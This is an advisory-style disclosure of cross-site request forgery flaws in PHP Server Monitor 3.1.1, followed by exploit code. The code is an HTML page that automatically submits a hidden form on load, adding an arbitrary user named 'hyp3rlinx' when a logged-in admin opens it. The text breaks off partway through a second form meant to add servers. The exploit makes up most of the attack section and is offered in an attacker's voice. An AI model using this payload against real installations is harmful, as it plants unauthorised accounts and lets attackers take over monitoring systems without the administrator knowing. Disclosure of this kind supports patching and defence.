Product:
================================
PHP Server Monitor 3.1.1
Vulnerability Type:
=================================
Cross site request forgery (CSRF)
Vulnerability Details:
=====================
Multiple CSRF issues in PHP Server Monitor allow remote attackers to add
arbitrary users & servers to the system, modify system configurations
and delete arbitrary servers, if user (admin) is logged in and visits our
malicious website or clicks on our infected linxs. As no CRSF protection is
used in the application, we can make request on the victims behalf an the
server will happily oblige processing our malicous HTTP requests.
Exploit code(s):
===============
<!DOCTYPE>
<html>
<body onLoad="doit()">
<script>
function doit(){
var e=document.getElementById('HELL')
e.submit()
}
</script>

<form id="HELL" action="
http://localhost/phpservermon-3.1.1/?&mod=user&action=save&id=0"
method="post">
<input type="text" name="user_name" value="hyp3rlinx" >

<input type="text" name="mobile" value="">
<input type="text" name="pushover_key" value="">
<input type="text" name="pushover_device" value="">
</form>
2) add arbitrary servers to the system:
<form id="HELL" action="
